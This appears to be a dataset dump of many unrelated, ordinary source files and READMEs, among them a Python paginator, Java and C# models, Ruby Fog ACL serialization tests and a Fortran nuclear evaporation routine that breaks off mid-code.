text
stringlengths
27
775k
import math class Paginator: page = 1 limit = 10 def __init__(self, total_count: int, page: str, limit: str): if page.isnumeric(): page = int(page) if page > 1: self.page = page if limit.isnumeric(): limit = int(limit) if limit > 100: self.limit = 100 elif limit >= 1: self.limit = limit self.count_games = math.ceil(total_count / self.limit) def to_json(self) -> dict: return { 'page': self.page, 'limit': self.limit, 'total_games': self.count_games, }
-- Windows of time a given provider's device was in the public right-of-way DROP VIEW IF EXISTS public.availability CASCADE; CREATE VIEW public.availability AS SELECT provider_id, provider_name, vehicle_type, device_id, event_location, start_event_type, end_event_type, start_reason, end_reason, start_time, end_time FROM inactive_windows UNION SELECT provider_id, provider_name, vehicle_type, device_id, event_location, start_event_type, end_event_type, start_reason, end_reason, start_time, end_time FROM active_windows ;
#pragma once #include <string> #include <vector> #include "token.hpp" #include "tokenizer_config.hpp" namespace cuttle { void tokenize( const tokenizer_config_t& config, const std::string& query, tokens_t& tokens, unsigned short line = 1 ); }
package com.chengww.demo.adapter; import com.chad.library.adapter.base.BaseQuickAdapter; import com.chad.library.adapter.base.BaseViewHolder; import com.chengww.demo.R; import com.qingstor.sdk.service.Types; import java.util.List; /** * Created by chengww on 2019/3/4. */ public class BucketListAdapter extends BaseQuickAdapter<Types.BucketModel, BaseViewHolder> { public BucketListAdapter(int layoutResId, List<Types.BucketModel> data) { super(layoutResId, data); } @Override protected void convert(BaseViewHolder helper, Types.BucketModel item) { helper.setText(R.id.tv_title, item.getName()) .setText(R.id.tv_content, item.getURL()); } }
package oi import ( "fmt" "io" "strings" ) type InvalidOffset interface { error InvalidOffset() (offset int64, whence int) } func errInvalidOffset(offset int64, whence int, msg string) error { var e InvalidOffset = &internalInvalidOffset{ offset:offset, whence:whence, msg:msg, } return e } func errInvalidOffsetf(offset int64, whence int, format string, a ...interface{}) error { msg := fmt.Sprintf(format, a...) return errInvalidOffset(offset, whence, msg) } type internalInvalidOffset struct { offset int64 whence int msg string } func (receiver internalInvalidOffset) Error() string { var builder strings.Builder fmt.Fprintf(&builder, "oi: Invalid Offset: offset=%d whence=%d", receiver.offset, receiver.whence) switch receiver.whence { case io.SeekStart: builder.WriteString(" (Seek Start)") case io.SeekCurrent: builder.WriteString(" (Seek Current)") case io.SeekEnd: builder.WriteString(" (Seek End)") } if "" != receiver.msg { builder.WriteRune(' ') builder.WriteString(receiver.msg) } return builder.String() } func (receiver internalInvalidOffset) InvalidOffset() (offset int64, whence int) { return receiver.offset, receiver.whence }
#!/usr/bin/env python """ Migrate an index using the reindexing script in a pipeline. """ import sys import elasticsearch import pipeline def chase(cause): if "script_stack" in cause: for ss in cause["script_stack"]: print(ss.encode("utf-8")) # don't expand \n, etc if "caused_by" in cause: chase(cause["caused_by"]) def main(): source_index = sys.argv[1] dest_index = sys.argv[2] if len(sys.argv) > 2 else source_index.replace("6.6.2", "7.0.0") + "-migrated" pipeline_id = pipeline.put() es = elasticsearch.Elasticsearch() es.indices.delete(dest_index, expand_wildcards='none', ignore_unavailable=True) try: es.reindex( body={ # "size": 1, "source": { "index": source_index, }, "dest": { "index": dest_index, "pipeline": pipeline_id, "version_type": "internal", }, }, wait_for_completion=True, request_timeout=3600, ) except elasticsearch.exceptions.TransportError as e: failure = e.info['failures'][0] # just consider the first error cause = failure['cause'] print("failed to reindex into", failure["index"], "with", pipeline_id, ":", cause['reason']) chase(cause) if __name__ == '__main__': main()
using System; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using Microsoft.EntityFrameworkCore; namespace App.Areas.EmployeeManagement.Models { [Table("Address")] [Keyless] public class Address { [Required(ErrorMessage = "Must have House number")] [Display(Name = "House number")] [StringLength(50)] public string HouseNumber { set; get; } [Required(ErrorMessage = "Must have Street")] [Display(Name = "Street")] [StringLength(50)] public string Street { set; get; } [Required(ErrorMessage = "Must have Ward")] [Display(Name = "Ward")] [StringLength(50)] public string Ward { set; get; } [Required(ErrorMessage = "Must have District")] [Display(Name = "District")] [StringLength(50)] public string District { set; get; } [Required(ErrorMessage = "Must have Province")] [Display(Name = "Province")] [StringLength(50)] public string Province { set; get; } } }
/* * Copyright 2002-2008 MOPAS(Ministry of Public Administration and Security). * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * Copyright 2008-2009 MOPAS(Ministry of Public Administration and Security). * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package egovframework.rte.fdl.idgnr.impl.strategy; import egovframework.rte.fdl.idgnr.EgovIdGnrStrategy; /** * Id Generation 정책(Strategy) 를 위한 기본 구현 클래스 * <p> * <b>NOTE</b>: 이 서비스를 통해 정책에 따른 prefix, cipers(자리수), * fillChar(채울 character)를 설정하고 이에 따른 ID 가공을 처리할 수 있다. * @author 실행환경 개발팀 김태호 * @since 2009.02.01 * @version 1.0 * @see <pre> * == 개정이력(Modification Information) == * * 수정일 수정자 수정내용 * ------- -------- --------------------------- * 2009.02.01 김태호 최초 생성 * * </pre> */ public class EgovIdGnrStrategyImpl implements EgovIdGnrStrategy { // 정책으로 입력된 prefix private String prefix; // 자리수로 디폴트는 5자리 private int cipers = 5; // 채울 charater로 기본은 '0' private char fillChar = '0'; /** * 생성된 String 타입의 ID를 입력받아서 정책으로 입력된 PREFIX에 기본 채울 * 문자를 지정 길이만큼 넣어서 아이디 생성 * @param originalId * original id to be converted * @return assembled id */ public String makeId(String originalId) { return prefix + fillString(originalId, fillChar, cipers); } /** * 정책정보 * @param cipers * cipers */ public void setCipers(int cipers) { this.cipers = cipers; } /** * Prefix * @param prefix * prefix */ public void setPrefix(String prefix) { this.prefix = prefix; } /** * properties * @param fillChar * fillChar */ public void setFillChar(char fillChar) { this.fillChar = fillChar; } /** * 생성자 * @param prefix * prefix * @param cipers * cipers * @param fillChar * fillChar */ public EgovIdGnrStrategyImpl(String prefix, int cipers, char fillChar) { super(); this.prefix = prefix; this.cipers = cipers; this.fillChar = fillChar; } /** * 생성자 */ public EgovIdGnrStrategyImpl() { super(); } /** * 대상 길이만큼 디폴트 Char로 채우기 */ public static String fillString(String originalStr, char ch, int cipers) { int originalStrLength = originalStr.length(); if (cipers < originalStrLength) return null; int difference = cipers - originalStrLength; StringBuffer strBuf = new StringBuffer(); for (int i = 0; i < difference; i++) strBuf.append(ch); strBuf.append(originalStr); return strBuf.toString(); } }
[![MIT license](https://img.shields.io/badge/License-MIT-blue.svg)](https://jaredlunde.mit-license.org/) --- # deploy-react-app Several deployment strategies for React apps ## Installation #### `npm i deploy-react-app` #### `yarn add deploy-react-app` ## LICENSE MIT
{-# LANGUAGE FlexibleContexts #-} {- Copyright (C) 2012-2017 Kacper Bak, Michal Antkiewicz <http://gsd.uwaterloo.ca> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -} module Language.Clafer.Generator.Stats where import Control.Monad.State import Data.Maybe (isJust) import Language.Clafer.Intermediate.Intclafer data Stats = Stats { naClafers :: Int, nrClafers :: Int, ncClafers :: Int, nConstraints :: Int, nGoals :: Int, sglCard :: Interval } deriving Show statsModule :: IModule -> Stats statsModule imodule = execState (mapM statsElement $ _mDecls imodule) $ Stats 0 0 0 0 0 (1, 1) statsClafer :: MonadState Stats m => IClafer -> m () statsClafer claf = do if _isAbstract claf then modify (\e -> e {naClafers = naClafers e + 1}) else modify (\e -> e {ncClafers = ncClafers e + 1}) when (isJust $ _reference claf) $ modify (\e -> e {nrClafers = nrClafers e + 1}) sglCard' <- gets sglCard modify (\e -> e {sglCard = statsCard sglCard' $ _glCard claf}) mapM_ statsElement $ _elements claf statsCard :: Interval -> Interval -> Interval statsCard (m1, n1) (m2, n2) = (max m1 m2, maxEx n1 n2) where maxEx m' n' = if m' == -1 || n' == -1 then -1 else max m' n' statsElement :: MonadState Stats m => IElement -> m () statsElement x = case x of IEClafer clafer -> statsClafer clafer IEConstraint _ _ -> modify (\e -> e {nConstraints = nConstraints e + 1}) IEGoal _ _ -> modify (\e -> e {nGoals = nGoals e + 1})
dependencies { testImplementation(project(":test:https-headers")) testImplementation(kotlin("test")) testImplementation(kotlin("test-testng")) } tasks.named<Test>("test") { useTestNG { parallel = "methods" threadCount = 2 } }
# UoYWeek UoYWeek gives the current date string formatted as used by the [University of York](https://www.york.ac.uk/). For example, `spr/3/wed` would refer to Wednesday on the 3rd week of Spring term. ## Installing ### Linux/Mac ```bash # Clone the repository git clone https://github.com/LukeMoll/uoyweek.git cd uoyweek # Compile make ``` You now have an executable file, `uoyweek`. To run it while you're in `uoyweek/`, just type `./uoyweek`. You'll probably want it in a more useful place though. ```bash sudo make install ``` This will install the executable to `/usr/local/bin`. You should now be able to run `uoyweek` from any directory. <!-- TODO Windows instructions --> ## Contributing If you see something that needs fixing, check the Issues to see if anyone's working on it. If not, make an issue or submit a PR! Also check out [milestones](https://github.com/LukeMoll/uoyweek/milestones) to see what features are planned.
--- layout: page title: permalink: / --- Estonian. Working as a dev from 2016. Started coding in [AddGoals](https://addgoals.com). Did some freelancing. Was hired as a software engineer for [Catapult Labs](https://catapultlabs.eu). Started freelancing v2 Music experiments [here](https://soundcloud.com/pyyding).
# YsrWord Windows Word Application with Allegro Library ![1](https://user-images.githubusercontent.com/27684451/31316847-4758b07c-ac3e-11e7-8009-f1cd99b8fda7.png) ![7 1](https://user-images.githubusercontent.com/27684451/31316848-47596dd2-ac3e-11e7-906a-e4ad8d84da08.png) ![9 1](https://user-images.githubusercontent.com/27684451/31316849-475b8e64-ac3e-11e7-89d8-a708465b4ed5.png)
package pw.cdmi.aws.geo.repositories.jpa; import org.springframework.data.jpa.repository.Query; import org.springframework.data.repository.query.Param; import pw.cdmi.aws.geo.model.entities.Country; import pw.cdmi.aws.geo.repositories.CountryRepository; public interface JpaCountryRepository extends CountryRepository { @Override @Query("SELECT openId FROM Country WHERE name = :name or fullName = :name") public Integer findIdByName(@Param(value="name") String name); @Override @Query("SELECT openId FROM Country WHERE domain = :domain") public Integer findIdByDomain(@Param(value="domain") String domain); @Override @Query("SELECT new Country(c.openId,c.name) FROM Country c") public Iterable<Country> findNames(); @Override @Query("SELECT new Country(c.openId,c.name) FROM Country c WHERE hasSovereignty =true") public Iterable<Country> findNamesBySovereign(); @Override @Query("FROM Country WHERE hasSovereignty =true") public Iterable<Country> findBySovereign(); }
# mnm-python Python scripts used for molecular nanomagnet data analysis and simulation ##Data Analysis [smmesr](./smmesr.py) and [utility](./utility.py) are modules that provide the functions I use for data analysis, which are generally called using a script like [FitSMM](./Data Analysis/FitSMM.py) ##Simulation Most of my simulations (in [mn12sim](mn12sim) and [cr7mnsim](cr7mnsim)) rely on [QuTiP](http://qutip.org/), so before you can run them you'll need to install it.
import { IsString, MinLength } from 'class-validator'; class Event { constructor(type: string) { this.type = type; } @IsString() @MinLength(1) public readonly type: string; } export default Event;
using System.Collections; using System.Collections.Generic; using UnityEngine; public class CharacterShaderStateController4 : MonoBehaviour { public PlayerController myplayer; public Material myshader; //public OverheadController myoverhead; //public List<SpriteRenderer> overheaditems; public SpriteRenderer playermarker; public bool invertedflip; float showtimer; float deathshow; bool overheadappear; bool activatestate1; bool activatestate2; bool activatestate3; private void Start() { myshader.SetFloat("_DissolveIntensity", 1); myplayer.GetComponent<PlayerController>(); } void Update () { //if (invertedflip) for (int i = 0; i < overheaditems.Count; i++) overheaditems[i].flipX = playermarker.flipX; //else for (int i = 0; i < overheaditems.Count; i++) overheaditems[i].flipX = !playermarker.flipX; if (showtimer <= 3f) { showtimer += Time.deltaTime; } else if (!overheadappear) { overheadappear = true; //myoverhead.Initialize(3); } if (myplayer.myLife <= 0) { deathshow += Time.deltaTime; myshader.SetFloat("_DissolveIntensity", 1 - deathshow / 1.1f); if (!activatestate3) { activatestate3 = true; //myoverhead.State3(); } } else if (myplayer.myLife <= 25 && !activatestate2) { activatestate2 = true; //myoverhead.State2(); } else if (myplayer.myLife <= 50 && !activatestate1) { activatestate1 = true; //myoverhead.State1(); } } }
require 'fog/aws/requests/storage/acl_utils' Shindo.tests('Fog::AWS::Storage | ACL utils', ["aws"]) do tests(".hash_to_acl") do tests(".hash_to_acl({}) at xpath //AccessControlPolicy").returns("", "has an empty AccessControlPolicy") do xml = Fog::AWS::Storage.hash_to_acl({}) Nokogiri::XML(xml).xpath("//AccessControlPolicy").first.content.chomp end tests(".hash_to_acl({}) at xpath //AccessControlPolicy/Owner").returns(nil, "does not have an Owner element") do xml = Fog::AWS::Storage.hash_to_acl({}) Nokogiri::XML(xml).xpath("//AccessControlPolicy/Owner").first end tests(".hash_to_acl('Owner' => {}) at xpath //AccessControlPolicy/Owner").returns(nil, "does not have an Owner element") do xml = Fog::AWS::Storage.hash_to_acl('Owner' => {}) Nokogiri::XML(xml).xpath("//AccessControlPolicy/Owner").first end tests(".hash_to_acl('Owner' => {'ID' => 'abcdef0123456789'}) at xpath //AccessControlPolicy/Owner/ID").returns("abcdef0123456789", "returns the Owner ID") do xml = Fog::AWS::Storage.hash_to_acl('Owner' => {'ID' => 'abcdef0123456789'}) Nokogiri::XML(xml).xpath("//AccessControlPolicy/Owner/ID").first.content end tests(".hash_to_acl('Owner' => {'DisplayName' => 'bob'}) at xpath //AccessControlPolicy/Owner/ID").returns(nil, "does not have an Owner ID element") do xml = Fog::AWS::Storage.hash_to_acl('Owner' => {'DisplayName' => 'bob'}) Nokogiri::XML(xml).xpath("//AccessControlPolicy/Owner/ID").first end tests(".hash_to_acl('Owner' => {'DisplayName' => 'bob'}) at xpath //AccessControlPolicy/Owner/DisplayName").returns("bob", "returns the Owner DisplayName") do xml = Fog::AWS::Storage.hash_to_acl('Owner' => {'DisplayName' => 'bob'}) Nokogiri::XML(xml).xpath("//AccessControlPolicy/Owner/DisplayName").first.content end tests(".hash_to_acl('Owner' => {'ID' => 'abcdef0123456789'}) at xpath //AccessControlPolicy/Owner/DisplayName").returns(nil, "does not have an Owner DisplayName element") do xml = Fog::AWS::Storage.hash_to_acl('Owner' => {'ID' => 'abcdef0123456789'}) Nokogiri::XML(xml).xpath("//AccessControlPolicy/Owner/DisplayName").first end tests(".hash_to_acl({}) at xpath //AccessControlPolicy/AccessControlList").returns(nil, "has no AccessControlList") do xml = Fog::AWS::Storage.hash_to_acl({}) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlPolicy").first end acl = { 'AccessControlList' => [ { 'Grantee' => { 'ID' => 'abcdef0123456789', 'DisplayName' => 'bob' }, 'Permission' => 'READ' } ] } tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Grantee").returns("CanonicalUser", "has an xsi:type of CanonicalUser") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Grantee").first.attributes["type"].value end tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Grantee/ID").returns("abcdef0123456789", "returns the Grantee ID") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Grantee/ID").first.content end tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Grantee/DisplayName").returns("bob", "returns the Grantee DisplayName") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Grantee/DisplayName").first.content end tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Permission").returns("READ", "returns the Grantee Permission") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Permission").first.content end acl = { 'AccessControlList' => [ { 'Grantee' => { 'EmailAddress' => 'user@example.com' }, 'Permission' => 'FULL_CONTROL' } ] } tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Grantee").returns("AmazonCustomerByEmail", "has an xsi:type of AmazonCustomerByEmail") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Grantee").first.attributes["type"].value end tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Grantee/EmailAddress").returns("user@example.com", "returns the Grantee EmailAddress") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Grantee/EmailAddress").first.content end tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Permission").returns("FULL_CONTROL", "returns the Grantee Permission") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Permission").first.content end acl = { 'AccessControlList' => [ { 'Grantee' => { 'URI' => 'http://acs.amazonaws.com/groups/global/AllUsers' }, 'Permission' => 'WRITE' } ] } tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Grantee").returns("Group", "has an xsi:type of Group") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Grantee").first.attributes["type"].value end tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Grantee/URI").returns("http://acs.amazonaws.com/groups/global/AllUsers", "returns the Grantee URI") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Grantee/URI").first.content end tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Permission").returns("WRITE", "returns the Grantee Permission") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Permission").first.content end acl = { 'AccessControlList' => [ { 'Grantee' => { 'ID' => 'abcdef0123456789', 'DisplayName' => 'bob' }, 'Permission' => 'READ' }, { 'Grantee' => { 'EmailAddress' => 'user@example.com' }, 'Permission' => 'FULL_CONTROL' }, { 'Grantee' => { 'URI' => 'http://acs.amazonaws.com/groups/global/AllUsers' }, 'Permission' => 'WRITE' } ] } tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant").returns(3, "has three elements") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant").size end tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Grantee/ID").returns("abcdef0123456789", "returns the first Grant's Grantee ID") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Grantee/ID").first.content end tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Grantee/EmailAddress").returns("user@example.com", "returns the second Grant's Grantee EmailAddress") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Grantee/EmailAddress").first.content end tests(".hash_to_acl(#{acl.inspect}) at xpath //AccessControlPolicy/AccessControlList/Grant/Grantee/URI").returns("http://acs.amazonaws.com/groups/global/AllUsers", "returns the third Grant's Grantee URI") do xml = Fog::AWS::Storage.hash_to_acl(acl) Nokogiri::XML(xml).xpath("//AccessControlPolicy/AccessControlList/Grant/Grantee/URI").first.content end end tests(".acl_to_hash") do acl_xml = <<-XML <AccessControlPolicy> <Owner> <ID>2744ccd10c7533bd736ad890f9dd5cab2adb27b07d500b9493f29cdc420cb2e0</ID> <DisplayName>me</DisplayName> </Owner> <AccessControlList> <Grant> <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser"> <ID>2744ccd10c7533bd736ad890f9dd5cab2adb27b07d500b9493f29cdc420cb2e0</ID> <DisplayName>me</DisplayName> </Grantee> <Permission>FULL_CONTROL</Permission> </Grant> </AccessControlList> </AccessControlPolicy> XML tests(".acl_to_hash(#{acl_xml.inspect})").returns({ "Owner" => { "DisplayName" => "me", "ID" => "2744ccd10c7533bd736ad890f9dd5cab2adb27b07d500b9493f29cdc420cb2e0" }, "AccessControlList" => [{ "Grantee" => { "DisplayName" => "me", "ID" => "2744ccd10c7533bd736ad890f9dd5cab2adb27b07d500b9493f29cdc420cb2e0" }, "Permission" => "FULL_CONTROL" }] }, 'returns hash of ACL XML') do Fog::AWS::Storage.acl_to_hash(acl_xml) end end end
subroutine evaporationInterface (gsmObj, a, z, ue, trec, pnx, pny, pnz, & & ln, bf0, fitaf, fitaf1, gsmRxn) ! ====================================================================== ! ! This routine handles the statistical decay of the compound nucleus ! by calling the GEMDEC routine to use the GEM2 decay model of ! Furihata. It was extracted from the old PRECOF routine from ! the cem2k+GEM2 code. ! ! CALLED BY: PRECOF ! CALLS: GEMDEC MOLNIX ! ! Written by A. J. Sierk, LANL T-16, October, 2003. ! Modified by K. K. Gudima, November, 2004. ! Edited by AJS, January, 2005. ! Modified by REP, 11/17/05 ! Updated for MARS by K.K. Gudima, March 2007 ! Edited by AJS, LANL T-2, December, 2011. ! Edited by LMK, XCP-3, July 2013 (included error protection) ! Edited by CMJ, XCP-3, 2016-2017 (LAQGSM expansion) ! ! ====================================================================== use, intrinsic :: iso_fortran_env, only: int32, real64, error_unit use gsm_params, only: zro, one, two, thr, & & four, fiv, six, thousand, pi, twpi, emnucb, emnuct use evaporationClass, only: & & evaporationResults, newEvaporationResults, & & evaporationFragment, & & fissionFragment, & & evapCompound, & & evaporationFlag, fermiBreakUpFlag, fissionFlag implicit none class(GSM), intent(inout) :: gsmObj real(real64), intent(inout) :: a real(real64), intent(inout) :: z real(real64), intent(inout) :: ue real(real64), intent(inout) :: trec real(real64), intent(in ) :: pnx real(real64), intent(in ) :: pny real(real64), intent(in ) :: pnz integer(int32), intent(in ) :: ln real(real64), intent(in ) :: bf0 real(real64), intent(in ) :: fitaf real(real64), intent(in ) :: fitaf1 class(GSMReaction), intent(inout) :: gsmRxn integer(int32) :: in, inj, iz, izj, nfr, k, kf, prodMech, particleID real(real64) :: cosPhi, cosTheta, e, enfr, eresa, phi, pmod, & & remn, sinPhi, sinTheta, theta, temp real(real64), dimension(3) :: beta = zro ! Used to start the simulation... type(evapCompound) :: compound ! (for Evaporation results) type(evaporationResults) :: evapRes type(evaporationFragment), dimension( nint(a) ) :: evapBnk type(fissionFragment), dimension( 2 ) :: fissionBnk type(GSMResults), pointer:: results => NULL() ! ====================================================================== iz = max(1, nint(z)) in = max(1, nint(a - z)) if (iz > 7 .and. in > 7) then remn = a*emnucb + gsmObj%genData%molnixEnergies%defineEnergy(iz, in, 2)/thousand else remn = a*emnuct + gsmObj%genData%molnixEnergies%defineEnergy(iz, in, 2)/thousand endif ! Total recoil energy and kinetic energy of entire nucleus: pmod = sqrt(pnx**2 + pny**2 + pnz**2) e = sqrt(pmod**2 + remn**2) eresa = (e - remn)*thousand temp = a if ( abs(temp) < div0Lim ) then temp = div0Lim write(gsmObj%io%message,2000) "287" call gsmObj%io%print(4, 3, gsmObj%io%message) end if temp = pmod if ( abs(temp) < div0Lim ) then temp = div0Lim write(gsmObj%io%message,2000) "293-295" call gsmObj%io%print(4, 3, gsmObj%io%message) end if ! Setup normalized momemtum beta(1) = pnx/temp beta(2) = pny/temp beta(3) = pnz/temp ! Construct results data type: evapRes = newEvaporationResults( evapBnk, fissionBnk ) ! Setup compound object compound%numBaryons = a compound%numProtons = z compound%kinEnergy = ue compound%recEnergy = eresa compound%linearMomFrac(:) = beta(:) compound%afMultiplier = fitaf compound%czMultiplier = fitaf1 ! Undergo evaporation/fission call gsmObj%genModels%evap%simulate ( compound, evapRes ) ! Store evaporation/fission fragments into spt/parz arrays results => gsmRxn%results progenyLoop: do nfr = 1, evapRes%numProgeny ! Ensure bank isn't full: if ( results%numProgeny > results%maxProgenyM1 ) then write(gsmObj%io%message, 1000) call gsmObj%io%print(3, 3, gsmObj%io%message) write(gsmObj%io%message, 1010) evapRes%numProgeny-nfr+1 call gsmObj%io%print(3, 3, gsmObj%io%message) exit progenyLoop end if ! Obtain interim results: izj = nint(evapBnk(nfr)%numProtons) inj = nint(evapBnk(nfr)%numBaryons - evapBnk(nfr)%numProtons) enfr = dble(inj) cosTheta = evapBnk(nfr)%linearMomZ if (abs(cosTheta) >= one) then cosTheta = sign(one,cosTheta) sinTheta = zro theta = zro if (cosTheta < zro) theta = pi else sinTheta = sqrt(abs(one - cosTheta**2)) theta = atan2(sinTheta,cosTheta) endif if (abs(sinTheta) > 1.d-10) then temp = sinTheta if ( abs(temp) < div0Lim ) then temp = div0Lim write(gsmObj%io%message,2000) "359, 360" call gsmObj%io%print(4, 3, gsmObj%io%message) end if cosPhi = evapBnk(nfr)%linearMomX/temp sinPhi = evapBnk(nfr)%linearMomY/temp if (abs(cosPhi) >= one) then cosPhi = sign(one,cosPhi) if (cosPhi <= zro) phi = pi if (cosPhi > zro) phi = zro sinPhi = zro else phi = atan2(sinPhi,cosPhi) if (phi < zro) phi = twpi + phi endif else phi = zro cosPhi = one sinPhi = zro endif ! Determine the particle 'type' particleID = zro if (izj == 0 .and. inj == 1) particleID = one if (izj == 1 .and. inj == 0) particleID = two if (izj == 1 .and. inj == 1) particleID = thr if (izj == 1 .and. inj == 2) particleID = four if (izj == 2 .and. inj == 1) particleID = fiv if (izj == 2 .and. inj == 2) particleID = six if (izj > 2 .or. inj > 2) particleID = thousand*evapBnk(nfr)%numProtons + enfr if ( particleID == 0 ) particleID = thousand*evapBnk(nfr)%numProtons + enfr ! Production mechanism: if ( evapBnk(nfr)%physicsFlag == evaporationFlag ) then prodMech = 1000_int32 ! Progeny from compound nucleus else if ( evapBnk(nfr)%physicsFlag == fermiBreakUpFlag ) then prodMech = 1500_int32 ! Progeny from Fermi Breakup of compound nucleus else if ( evapBnk(nfr)%physicsFlag == fissionFlag ) then prodMech = 2000_int32 ! Progeny from evaporation of fission fragment else ! Error; progeny origin wasn't flagged by evaporation class write(gsmObj%io%message, 3000) call gsmObj%io%print(3, 3, gsmObj%io%message) prodMech = 1000_int32 end if ! Tally progeny: results%numProgeny = results%numProgeny + 1 results%progenyBnk(results%numProgeny)%numBaryons = evapBnk(nfr)%numBaryons results%progenyBnk(results%numProgeny)%numProtons = evapBnk(nfr)%numProtons results%progenyBnk(results%numProgeny)%kinEnergy = evapBnk(nfr)%kinEnergy / thousand results%progenyBnk(results%numProgeny)%restMass = evapBnk(nfr)%restMass results%progenyBnk(results%numProgeny)%phi = phi results%progenyBnk(results%numProgeny)%theta = theta results%progenyBnk(results%numProgeny)%sinTheta = sinTheta results%progenyBnk(results%numProgeny)%cosTheta = cosTheta results%progenyBnk(results%numProgeny)%typeID = particleID results%progenyBnk(results%numProgeny)%prodMech = prodMech end do progenyLoop ! Set fission probability results%info%wf = evapRes%fissionProbability ! Progeny stored; now obtain residual information and/or fission information if ( evapRes%compound%physicsFlag == evaporationFlag ) then ! Compound nucleus was only evaporated: results%info%fusion = zro if(results%tallySim) then ! Get statistics on evaporated residual trec = evapRes%compound%recEnergy call gsmObj%ststcs (evapRes%compound%numBaryons, & & evapRes%compound%numProtons, & & trec, ln, bf0, 4) end if else if ( evapRes%compound%physicsFlag == fermiBreakUpFlag ) then ! Compund underwent Fermi Breakup: gsmRxn%outData%ifermi = gsmRxn%outData%ifermi + 1 else if ( evapRes%compound%physicsFlag == fissionFlag ) then ! Compound underwent Fission: if(results%tallySim) then ! Store pre-fission compound's characteristics in the /residf/ block results%info%compound = evapRes%compound ! Obtain statistics on pre-fission residual results%info%fusion = one call gsmObj%ststcs (evapRes%compound%numBaryons, & & evapRes%compound%numProtons, & & evapRes%compound%kinEnergy, & & ln, bf0, 5) ! Store fission fragment data results%info%ifiss = 1_int32 do k = 1, min(2, evapRes%numFissionFragments) if ( evapRes%fissionBnk(k)%physicsFlag == evaporationFlag ) then ! Fission fragment underwent evaporation results%info%fissFrag(k) = evapRes%fissionBnk(k) else if ( evapRes%fissionBnk(k)%physicsFlag == fermiBreakUpFlag ) then ! Fermi Break-up of fission fragment occurred gsmRxn%outData%ifermi = gsmRxn%outData%ifermi + 1 else if ( 